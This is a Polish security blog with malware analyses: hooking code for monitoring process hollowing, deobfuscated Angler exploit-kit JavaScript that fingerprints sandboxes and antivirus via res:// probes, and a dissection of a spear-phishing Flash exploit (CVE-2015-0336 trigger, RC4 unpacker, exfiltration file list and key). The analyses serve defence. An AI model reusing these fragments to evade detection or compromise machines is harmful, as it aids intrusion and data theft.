piątek, 13 listopada 2015

Monitorowanie procesów tworzonych przez złośliwe oprogramowane

Istnieje kilka metod „ukrywania” złośliwego kodu w innych procesach. Jedna z nich polega na podmianie zawartości procesu i uruchomieniu w kontekście „legalnego procesu” złośliwego kodu (tzw. process hollowing). Te „legalne procesy” to zazwyczaj procesy systemowe cmd.exe, explorer.exe, svchost.exe czy msiexec.exe.

Tworzenie kolejnych procesów i wstrzykiwanie różnych fragmentów złośliwego kodu (np. pierwszy utworzony proces odpowiada za zdekodowanie fragmentu kodu malware, utworzenie kolejnego procesu i załadowanie tam złośliwego kodu) jest pewnym utrudnieniem podczas analizy gdyż niektóre narzędzia (np. Immunity) nie są w stanie podłączyć się do nowo tworzonego procesu w odpowiednim czasie. Czasami uruchamianych jest kolejno 5-6 procesów zanim właściwy złośliwy kod (ten który nas interesuje najbardziej) zostanie uruchomiony.

Poniżej opiszemy jeden ze sposobów analizy takiego zachowania malware.

Zacznijmy od techniki podmiany zawartości procesu. Podmieniane są dane i kod wykonywalny tworzonego procesu. Sekwencja wywoływanych funkcji API może być następująca:
  • CreateProcess() – złośliwy kod wywołuje tą funkcję w celu utworzenia nowego procesu. Istotne jest to, że CreationFlags ma ustawioną opcję CREATE_SUSPENDED (0x00000004).
  • GetThreadContext() – pobierany jest kontekst nowo utworzonego procesu a dokładniej pierwszego wątku nowego procesu. Struktura CONTEXT zawiera ustawienia rejestrów procesora.
  • WriteProcessMemory() – funkcja służy do kopiowania do nowego procesu złośliwego kodu. Malware może również wywoływać funkcje ReadProcessMemory().
  • NtUnmapViewOfSection() – funkcja usuwa sekcje nowego procesu, gdyż do pamięci nowego procesu będzie kopiowany inny kod wykonywalny (w przypadku załadowania całego pliku PE a nie tylko wybranych sekcji lub fragmentów sekcji).
  • VirtualAllocEx() – alokacja pamięci w nowo utworzonym procesie.
  • SetThreadContext() – funkcja będzie wywołana do uaktualnienia zawartości rejestru EAX. Rejestr ten zawiera punkt wejścia (Entry Point) – adres pierwszej instrukcji złośliwego kodu który będzie wywołany przez ResumeThread().
  • ResumeThread() – uruchamiany jest pierwszy wątek w nowym procesie – tym razem z nową zawartością.
Nie wszystkie z wyżej wymienionych funkcji muszą być wywoływane przez analizowany malware.

Ponadto istnieją również inne techniki uruchamiania złośliwego kodu w kontekście innego procesu. Dla przykładu po utworzeniu nowego procesu w stanie SUSPENDED wywoływane są funkcje CreateFileMapping() oraz MapViewOfFile(). W tym momencie malware mapuje cały plik wykonywalny z którego był uruchomiony do pamięci procesu. Tworzony jest współdzielony obszar pamięci i nadawane są uprawnienia do wykonywania (PAGE_EXECUTE_READWRITE). Następnie kopiowane są tam dane ze złośliwym kodem. Jak możemy się domyślać do współdzielonej pamięci będzie miał również dostęp nowo utworzony proces. Poniżej sekwencja wywoływanych funkcji przez przykładowy malware:


Nowy proces może uzyskać dostęp do danych wywołując funkcje OpenFileMapping().

W obu opisanych przypadkach istotne jest to, że funkcja ResumeThread() uruchamia wątek nowo utworzonego procesu a tym samym złośliwy kod. Załóżmy, że chcemy śledzić uruchamiany kod za pomocą dubugger-a lub innego narzędzia (np. do monitorowania aktywność malware).

I tu z pomocą przychodzą narzędzia do przechwytywania funkcji systemowych. Na naszym blogu opisywaliśmy engine MiniHook. Tym razem użyjemy dwóch framework-ów ułatwiających analizę złośliwego kodu - Microsoft Detours oraz Capstone. Ten drugi nie jest obowiązkowy, ale to dobra okazja aby pokazać do czego służy.

Wspominaliśmy, że pierwszy wątek nowego procesu posiada strukturę CONTEXT, która zawiera stany rejestrów procesora. W rejestrze EAX znajduje się adres Entry Point (kodu który będzie uruchomiony po wznowieniu procesu). EBX to struktura PEB. W celu kontrolowania uruchamiania nowego procesu możemy zamienić pierwszą instrukcję wskazywaną przez adres w EAX. Jedna z metod to wstawienie instrukcji skoku bezwarunkowego wskazującego na siebie (czyli adres Entry Point). Jest to opcode 0xEBFE. W momencie uruchomienia nowego procesu w nieskończoność będzie wykonywana instrukcja JMP wskazująca na siebie. Wtedy możemy podłączyć debugger lub załadować do nowego procesu bibliotekę monitorującą aktywność malware. Następnie przywracamy pierwotne wartości i możemy kontynuować analizę.

Przechwycimy jedną funkcję – SetThreadContext() aby kontrolować malware i mieć pewność jaka wartość Entry Point znajduje się w strukturze CONTEXT. Możemy również przechwycić funkcję CreateProcess() a następnie zmodyfikować pierwsza instrukcję w Entry Point.

Trzy podstawowe kroki związane z przechwyceniem funkcji za pomocą Microsoft Detours:

  1. Zapisanie oryginalnego adresu funkcji przechwytywanej.

  2. BOOL (WINAPI *Oryginalny_SetThreadContext)(HANDLE hThread, const CONTEXT *lpContext) = SetThreadContext;

  3. Własna implementacja funkcji, które będzie wywoływana w momencie wywołania przez malware funkcji SetThreadContext().
  4. BOOL WINAPI Nowy_SetThreadContext(HANDLE hThread, const CONTEXT *lpContext){

    PBYTE pBuffer = new BYTE[8];
    SIZE_T * rozmiar = 0;
    SIZE_T * rozmiar2 = 0;
    PBYTE infiniteloop = new BYTE[1];  //tablica zawierająca opcode EBFE (JMP)
    infiniteloop[0] = 0xEB;
    infiniteloop[1] = 0xFE;
       
    //odczyt adresu Entry Point i zapisane pierwszych 8 bajtów do bufora
    ReadProcessMemory(hProc2, (LPCVOID)lpContext->Eax, pBuffer, 8, rozmiar);

    //nadpisanie dwóch bajtów wskazywanych przez adres umieszczony w EAX (Entry Point)
    WriteProcessMemory(hProc2, (LPVOID)lpContext->Eax, infiniteloop, 2, rozmiar2);

    //fragment związany z implementacją funkcji deasemblującej kod

        csh handle;
        cs_insn *insn;
        size_t count;
        char kod_asm[20];
        if (cs_open(CS_ARCH_X86, CS_MODE_32, &handle) != CS_ERR_OK)
            OutputDebugString(L"Capstone error");
        count = cs_disasm(handle, (uint8_t *)pBuffer, 8, 0x1000, 0, &insn);
        if (count > 0) {
            size_t j;
            for (j = 0; j < count; j++) {
           
            //printf("%s\t%s\n", insn[j].mnemonic, insn[j].op_str);
            sprintf_s(kod_asm, 20, "%s\t%s\n", insn[j].mnemonic, insn[j].op_str);
               

    // W tym miejscu musimy zapisać do pliku zawartość kod_asm.
    // Przykładowa zawartość:
            // push ebp
             // mov    ebp, esp
             // call    0x7b30
    // warto zapisać opcode gdy będziemy przywracać oryginalne wartości z poziomu debugger-a.
            }

            cs_free(insn, count);

        }
        else
            OutputDebugString(L"ERROR: Failed to disassemble given code!");
        cs_close(&handle);

        //wywołanie oryginalnej funkcji SetThreadContext()
        return Oryginalny_SetThreadContext(hThread, lpContext);
    }


  5. Wywołanie funkcji DetourAttach() podmieniającej funkcje – instalującej przechwycenie (tzw. API Hooking).

  6. DetourAttach(&(PVOID&)Oryginalny_SetThreadContext, Nowy_SetThreadContext);

Z poziomu naszej funkcji warto do pliku zapisywać:
  • Adres Entry Point
  • Oryginalne 2 pierwsze bajty
  • Dodatkowo kilka pierwszych instrukcji oryginalnego kodu – my wykorzystaliśmy framework Capstone ale BeaEngine też polecamy.
  • Funkcje ReadProcessMemory() i WriteProcessMemory() korzystają z uchwytu do procesu. Skąd mamy tą wartość? Możemy przechwycić inną funkcję systemową, która korzysta z tego uchwytu – np. WriteProcessMemory(). W EBX znajduje się adres struktury PEB - Process Environment Block – możemy sprawdzić do którego procesu należy odczytany adres tej struktury.
Poniżej przykład procesu (cmd.exe) uruchomionego przez malware ale zmodyfikowanego przez naszą funkcję. Można zauważyć, że pod adresem Entry Point (0x4a261240) jest widoczny opcode 0xEBFE:

Edycja zmodyfikowanych dwóch bajtów za pomocą Immunity Debugger:

Źródła:

[1] http://research.microsoft.com/en-us/projects/detours/
[2] http://www.capstone-engine.org/
[3] http://www.autosectools.com/process-hollowing.pdf
[4] https://www.trustwave.com/Resources/SpiderLabs-Blog/Analyzing-Malware-Hollow-Processes/
[5] http://www.codereversing.com/blog/archives/65
[6] http://journeyintoir.blogspot.com/2014/12/prefetch-file-meet-process-hollowing_17.html
[7] https://msdn.microsoft.com/en-us/library/windows/desktop/aa366551%28v=vs.85%29.aspx

sobota, 3 października 2015

Weryfikacja infekowanej stacji roboczej za pomocą języka javascript

Angler Exploit kit jest obecnie jednym z najczęściej wykorzystywanym narzędziem do infekcji komputerów za pomocą techniki drive by download. Język skryptowy javascript wykorzystywany podczas infekcji odpowiada między innymi za weryfikację środowiska w którym mają być uruchomione podatności.
Poniżej przedstawiamy kilka technik stosowanych przez to narzędzie. Jest to kod javascript uzyskany po deobfuskacji zawartości zainfekowanej strony www jednego z polskich portali. Techniki te są zaimplementowane w dwóch funkcjach:

xTrueV() związana jest z wykrywaniem środowisk wirtualnych oraz narzędzi do analizy.
xTrueA() ma za zadanie zweryfikować jakie systemy antywirusowe zainstalowane są na infekowanym komputerze.

  • Weryfikacja przeglądarki internetowej
 if (navigator.userAgent.indexOf('MSIE') == -1 && navigator.appVersion.indexOf('Trident/') == -1) {
        return;
  }

Już podczas pierwszego odwiedzenia przez użytkownika strony ze złośliwym skryptem weryfikowana jest platforma oraz typ przeglądarki. W zależności do tego użytkownik otrzymuje dalsze skrypty zawierające podatności bądź jest przekierowany na stronę bez malware.
  • Następny fragment wykrywa skrypty dynamiczne wykorzystywane przez funkcje narzędzia deweloperskie w Internet Explorer.

Oto zawartość jednego ze skryptów (narzędzie deweloperskich) przeglądarki IE:

  • Kolejne sprawdzenie dotyczy następujących bibliotek (ActiveX) firmy Kaspersky:
  1. Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi
  2. Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi.1
  3. Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi.4_5_0.1
Poniżej fragment kodu:


  • Ostatnia technika polega na weryfikacji czy określony plik znajduje się na lokalnym dysku. Jest to realizowane za pomocą protokołu res:// i funkcji Image().
Poniżej fragment kodu:


Zawartość wykorzystywanych funkcji (odkodowywanie i modyfikacja struktury strony w DOM):

function xTrue(s, r) {
    var x = new Image();
    x.onload = r;
    x.src = xText(s); //funkcja buduje ścieżkę do pliku (np. "res://C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamext.dll/#/202"
    document.body.appendChild(x);
    return 0;
}

function xText(line) {
    var result = ""
      , array = line.match(/(..)/g);
    for (var i = 0; i < array.length; i++) {
        result += String.fromCharCode(parseInt(array[i], 32) / 2);
    }
    return result;
}

Lista plików wykorzystywanych przez xTrueV():

res://C:\Program Files (x86)\Fiddler2\Fiddler.exe/#3/#32512
res://C:\Program Files\Fiddler2\Fiddler.exe/#3/#32512
res://C:\Program Files (x86)\VMware\VMware Tools\TPAutoConnSvc.exe/#2/#26567
res://C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe/#2/#26567
res://C:\Program Files (x86)\VMware\VMware Tools\TPAutoConnSvc.exe/#2/#30996
res://C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe/#2/#30996
res://C:\Program Files (x86)\Oracle\VirtualBox Guest Additions\uninst.exe/#2/#110
res://C:\Program Files\Oracle\VirtualBox Guest Additions\uninst.exe/#2/#110
res://C:\Program Files (x86)\Parallels\Parallels Tools\Applications\setup_nativelook.exe/#2/#204
res://C:\Program Files\Parallels\Parallels Tools\Applications\setup_nativelook.exe/#2/#204

Lista plików wykorzystywanych przez xTrueA():

res://C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamext.dll/#2/202
res://C:\Program Files\Malwarebytes Anti-Malware\mbamext.dll/#2/202
res://C:\Program Files (x86)\Malwarebytes Anti-Malware\unins000.exe/#2/DISKIMAGE
res://C:\Program Files\Malwarebytes Anti-Malware\unins000.exe/#2/DISKIMAGE
res://C:\Program Files (x86)\Malwarebytes Anti-Exploit\mbae.exe/#2/200
res://C:\Program Files\Malwarebytes Anti-Exploit\mbae.exe/#2/200
res://C:\Program Files (x86)\Malwarebytes Anti-Exploit\mbae.exe/#2/201
res://C:\Program Files\Malwarebytes Anti-Exploit\mbae.exe/#2/201
res://C:\Program Files (x86)\Malwarebytes Anti-Exploit\unins000.exe/#2/DISKIMAGE
res://C:\Program Files\Malwarebytes Anti-Exploit\unins000.exe/#2/DISKIMAGE
res://C:\Program Files (x86)\Trend Micro\Titanium\TmConfig.dll/#2/#30994
res://C:\Program Files\Trend Micro\Titanium\TmConfig.dll/#2/#30994
res://C:\Program Files (x86)\Trend Micro\Titanium\TmSystemChecking.dll/#2/#30994
res://C:\Program Files\Trend Micro\Titanium\TmSystemChecking.dll/#2/#30994
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 6.0 for Windows Workstations\shellex.dll/#2/#102
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 6.0 for Windows Workstations\shellex.dll/#2/#102
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 6.0\shellex.dll/#2/#102
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 6.0\shellex.dll/#2/#102
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 7.0\shellex.dll/#2/#102
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 7.0\shellex.dll/#2/#102
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 2009\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 2009\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 2010\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 2010\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 2011\avzkrnl.dll/#2/BBALL
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 2011\avzkrnl.dll/#2/BBALL
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 2012\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 2012\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 2013\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 2013\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 14.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 14.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.1\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.1\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 6.0\shellex.dll/#2/#102
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 6.0\shellex.dll/#2/#102
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 7.0\shellex.dll/#2/#102
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 7.0\shellex.dll/#2/#102
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 2009\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 2009\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 2010\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 2010\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 2011\avzkrnl.dll/#2/BBALL
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 2011\avzkrnl.dll/#2/BBALL
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 2012\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 2012\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 2013\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 2013\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 14.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 14.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 15.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 15.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 15.0.1\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 15.0.1\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 15.0.2\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 15.0.2\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Total Security 14.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Total Security 14.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Total Security 15.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Total Security 15.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Total Security 15.0.1\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Total Security 15.0.1\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Total Security 15.0.2\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Total Security 15.0.2\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky PURE 2.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky PURE 2.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky PURE 3.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky PURE 3.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky CRYSTAL 3.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky CRYSTAL 3.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky PURE\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky PURE\mfc42.dll/#2/#26567

Javascript używany jest też do odszyfrowania innych elementów jak na przykład nazwa hosta czy parametry GET strony, która zawiera kolejne komponenty wykorzystywane w procesie infekcji (np. adres z obiektem Flash wykorzystującym podatność).
Poniżej przykład (na początku funkcji są dane wejściowe, na dole zwracany odkodowany adres serwera):



Szablon związany z podatnością we Flash:


Poniżej gotowy obiekt dla podatności Flash oraz fragment funkcji przygotowującej inny exploit dla przeglądarki Internet Explorer:


wtorek, 11 sierpnia 2015

Wykradanie danych z instytucji publicznych

Przedstawiamy opis ataku ukierunkowanego (ang. spear phishing) jaki miał miejsce w czerwcu 2015 roku na polskie instytucje publiczne. Możemy opisać niestety tylko jedną próbę ataku z dnia 11 czerwca 2015 roku. Do wybranej grupy użytkowników został przesłany dokument Microsoft Word zawierający raport Rządowego Centrum Bezpieczeństwa - RD RCB 11.06.docx. 

 

Etap I - Infekcja


Dokument RD RCB 11.06.docx przypomina raporty jakie można pobrać ze strony Rządowego Centrum Bezpieczeństwa - rcb.gov.pl z tą różnicą, że na stronie dostępne są tylko w formacie PDF.


Dokument zawierała obiekt flash zawierający skrypty w AS3. Poniżej fragment weryfikujący wersję flash zainstalowaną na atakowanym komputerze.


Obiekt fws zawiera między innymi główną funkcję Arrfhs432tyh() oraz dwa obiekty binarne: trigger_rc4$98d213f6942bdb7ee40467d426b926b81001798759 oraz shell_rc4$c7fe8fa67313f86d5af5bf5eb14d5aaa789757359. W kodzie głównej funkcji możemy znaleźć odwołania do tych obiektów i miejsca gdzie są odczytywane. Poniżej fragment skryptu uruchamiającego funkcję z zewnętrznego obiektu.

...
this.rigembe = trigger_rc4$98d213f6942bdb7ee40467d426b926b81001798759;
this.shelembe = shell_rc4$c7fe8fa67313f86d5af5bf5eb14d5aaa789757359;
...
var _loc2_:ByteArray = new this.rigembe() as ByteArray;
         _loc1_ = this.unzip("decompress",new this.rigembe() as ByteArray);
         var _loc3_:Loader = new Loader();
         _loc3_.loadBytes(_loc1_);


Można zauważyć, że na początku wywoływana jest funkcja unzip(), która również znajduje się w analizowanym skrypcie. Aby odczytać zawartość „zewnętrznego” skryptu tworzymy własny program dekodujący (np. w Flash Builder) korzystając z funkcji unzip() oraz dwóch funkcji służących do odczytu pliku (obiektu) i zapisu. Zawartość funkcji unzip():

private function unzip(param1:String, param2:ByteArray) : ByteArray
        {
            var _loc3_:uint = 0;
            var _loc4_:uint = 0;
            var _loc5_:uint = 0;
            var _loc6_:ByteArray = new ByteArray();
            var _loc7_:uint = 0;
            var _loc8_:ByteArray = new ByteArray();
            var _loc9_:ByteArray = new ByteArray();
            _loc9_.writeMultiByte(param1,"iso-8859-1");
            _loc4_ = 0;
            while(_loc4_ < 256)
            {
                _loc6_[_loc4_] = _loc4_;
                _loc4_++;
            }
            _loc4_ = 0;
            while(_loc4_ < 256)
            {
                _loc7_ = _loc7_ + _loc6_[_loc4_] + _loc9_[_loc4_ % _loc9_.length] & 255;
                _loc3_ = _loc6_[_loc4_];
                _loc6_[_loc4_] = _loc6_[_loc7_];
                _loc6_[_loc7_] = _loc3_;
                _loc4_++;
            }
            _loc4_ = 0;
            _loc7_ = 0;
            _loc5_ = 0;
            while(_loc5_ < param2.length)
            {
                _loc4_ = _loc4_ + 1 & 255;
                _loc7_ = _loc7_ + _loc6_[_loc4_] & 255;
                _loc3_ = _loc6_[_loc4_];
                _loc6_[_loc4_] = _loc6_[_loc7_];
                _loc6_[_loc7_] = _loc3_;
                _loc8_[_loc5_] = param2[_loc5_] ^ _loc6_[_loc6_[_loc4_] + _loc6_[_loc7_] & 255];
                _loc5_++;
            }
            return _loc8_;
        }


Przykładowe funkcje odczytu i zapisu, których użyjemy w naszym programie dekodującym:

private function writeBytesToFile(fileName:String, data:ByteArray):void
        {
            var outFile:File = File.desktopDirectory;                        

             outFile = outFile.resolvePath(fileName);
            var outStream:FileStream = new FileStream();
             outStream.open(outFile, FileMode.WRITE);
             outStream.writeBytes(data, 0, data.length);
            outStream.close();
        }
        private function readFileIntoByteArray(fileName:String, data:ByteArray):void
        {
            var inFile:File = File.desktopDirectory;
            inFile = inFile.resolvePath(fileName); 
            var inStream:FileStream = new FileStream();
            inStream.open(inFile, FileMode.READ);
            inStream.readBytes(data);
            inStream.close();
        }


Odkodowany plik binarny trigger_rc4$98d213f6942bdb7ee40467d426b926b81001798759 wskazuje na błąd CVE-2015-0336 poprawiony przez Adobe 12 marca 2014 2015 roku [1]. Poniżej zawartość funkcji znajdującej się w tym pliku:

class Trigger
{
   function Trigger()
   {
      var _loc2_ = _global.ASnative(2100,438181888);
      var _loc3_ = new Object();
      _loc2_.__proto__ = _loc3_;
      _global.ASnative(2100,200)(_loc3_);
      _global.ASnative(2100,8).apply(_loc2_,[1]);
      var _loc4_ = new LocalConnection();
      _loc4_.send("toAS3","rigglo");
   }
   static function main(mc)
   {
      Trigger.app = new Trigger();
   }
}


Wiemy już w jaki sposób wywoływany jest błąd. Zanim to nastąpi inne funkcje głównego skryptu przygotowują pamięć infekowanego komputera. Tablica cool_ba zawiera łańcuch ROP a pwn_ba zawiera shellcode. Poniżej fragment tej funkcji:


Łańcuch ROP budowany jest za pomocą funkcji cooba().


Istotnym komponentem exploit-a jest kod wykonywalny uruchamiany po wykorzystaniu podatności. Shellcode znajduje się w drugim binarnym pliku this.shelembe = shell_rc4$c7fe8fa67313f86d5af5bf5eb14d5aaa789757359. Oto jego zawartość po dekompresji. Składa się ona z trzech części. Pierwsza część (czerwona ramka) to kod wykonywalny.


Zważywszy na źródło ataku ciekawa jest zawartość zielonej ramki (powyżej) – jest to hasło odkodowujące plik wykonywalny uruchamiany w ostatnim etapie infekcji. Zakodowany plik wykonywalny (niebieska ramka). Odkodowana wersja XOR-em widoczna jest poniżej.

Poniżej ten sam fragment w pamięci komputera (zrzut z debugger-a).

Poniżej fragment stosu tuż przed uruchomieniem odkodowanego pliku wykonywalnego.


Ten sam plik zapisywany jest następnie w lokalizacji (c:/users/<username>/appdata/local/lsaapi.exe) i dodany do zadań systemu Windows uruchamianych cyklicznie.

Etap II – zbieranie informacji


Plik wykonywalny uruchamiany na zainfekowanym komputerze to odmiana złośliwego oprogramowania o nazwie ComicDukeCosmic/MiniDuke. Więcej informacji na ten temat znajduje się tutaj [2] oraz linkach pod tamtym artykułem.

Dla przypomnienia jedna z funkcji to kradzież informacji. Malware wyszukuje (zaczynając od dokumentów ostatnio używanych przez użytkownika) pliki z następującymi rozszerzeniami:

*.doc;*.xps;*.xls;*.ppt;*.pps;*.wps;*.wpd;*.ods;*.odt;*.lwp;*.jtd;*.pdf;*.zip;*.rar;*.docx;*.xlsx;*.pptx;*.ppsx;*.pst;*.ost;*psw*;*pass*;*login*;*admin*;*sifr*;*sifer*;*vpn;*.jpg*;*.url;*.exe;*.dll;*.tmp;*.obj;*.ocx;*.js

Pliki te są szyfrowane i przesyłane na jeden z serwerów ftp. Wykorzystywane serwer ftp/http, loginy oraz hasła są w poniższej tabeli:

Oto fragment opisu ze strony dostawcy ISP gdzie znajdowały się serwery ftp „Switzerland has long been recognized as a safe haven. It is not a member of the EU, and remains neutral in times of conflict”

Poniżej przykłady plików, które udało nam się pobrać z serwerów ftp.


Ich zawartość to skopiowane przez malware pliki o rozszerzeniach wymienionych powyżej lub zrzuty ekranu. Zrzuty ekranu robione są co kilka minut. Bez względu na zawartość, przed wysłaniem na serwerem ftp pliki są kompresowane a następnie szyfrowane. Szyfrowanie odbywa się za pomocą algorytmu bazującego na RC4. Klucz to: AdjustKernelTableFromSSDTSpace2. Jak wiemy RC4 w ostatnim kroku za pomocą operacji XOR koduje poszczególne bajty z wcześniej przygotowaną tablicą. Dlatego wywołując funkcję szyfrującą z bardzo dużym plikiem wejściowym możemy wygenerować klucz, którą użyjemy później do odkodowywania plików znajdujących się na serwerze. Fragment prawidłowego klucza poniżej:


Przed szyfrowaniem pliki są kompresowane. Dodatkowo złośliwe oprogramowanie na początku pliku i po każdych 100 KB danych dodaje nagłówek. Poniżej przykładowy nagłówek oraz widoczny początek właściwego pliku (FFD8) – co wskazuje na screenshot (format JPG). W nagłówku znajduje się między innymi rozmiar pliku czy offset dotyczący kolejnego nagłówka.


Przykład kolejnego nagłówka:



Odkodowując plik uzyskanym wcześniej kluczem oraz implementując mechanizm dekompresji było możliwe odczytywanie plików umieszczanych przez malware na serwerze ftp. Poniżej zawartość jednego z odkodowanych plików. Można zauważyć, że ktoś próbował monitorować zachowanie malware.


Naszym zdaniem atak z wykorzystaniem dokumentu dotyczącego katastrofy smoleńskiej [2] został przeprowadzony przez tą samą grupę. Intruzi w atakach wykorzystują też inne formaty plików i podatności niezwiązane z flash.

File:     RD RCB 11.06.docx
Size:     242537
MD5:      84137c8e7509a0e9cf7ff71ba060cdb5

File:     lsaapi.exe (c:/users/<username>/appdata/local/)
Size:     612864
MD5:      E452A59F037125937BAFD557AB849E1


Źródła:

[1] http://blogs.technet.com/b/mmpc/archive/2015/06/18/understanding-type-confusion-vulnerabilities-cve-2015-0336.aspx
[2] http://malware.prevenity.com/2015/04/malware-w-5-rocznice-katastrofy-samolotu.html





piątek, 31 lipca 2015

Dekodowanie plików konfiguracyjnych

Nadarzyła się dobra okazja aby opisać proces tworzenia narzędzi dekodujących pliki konfiguracyjne. Ta okazja to kolejny atak z użyciem złośliwego oprogramowania na klientów bankowości internetowej – w tym klientów banków w Polsce ale też Allegro. Atak ma miejsce od 3-4 dni.
Poniżej fragmenty pliku konfiguracyjnego:

Zainfekowani klienci powyższych instytucji mogą otrzymać komunikaty podobne do poniższych:





Nie będziemy opisywali wszystkich szczegółów technicznych gdyż są dobrze opisane tutaj [1]. Tym razem zajmiemy się plikami tworzonymi przez malware.


Dwa z nich log.dat oraz ntf.dat są co kilka minut tworzone i kasowane. Zawierają one zakodowaną wiadomość przesyłaną do serwera C&C - między innymi listę aktualnie uruchomionych procesów na zainfekowanym komputerze.
Pliki są szyfrowane za pomocą RC4 z kluczem:
 Poniżej przykład komunikacji:

Odpowiedzią z serwera może być nowy plik wykonywalny lub aktualna konfiguracja.
Ostatni plik web.dat to aktualna konfiguracja – również zakodowana. Poza celami ataków są tam fragmenty html i javascript. Są też URL dodatkowych serwerów C&C na których znajdują się dodatkowe skrypty js.

 

Odkodowywanie składa się z 3 etapów:

 

1. Odkodowanie XOR z losowym kluczem. 

 

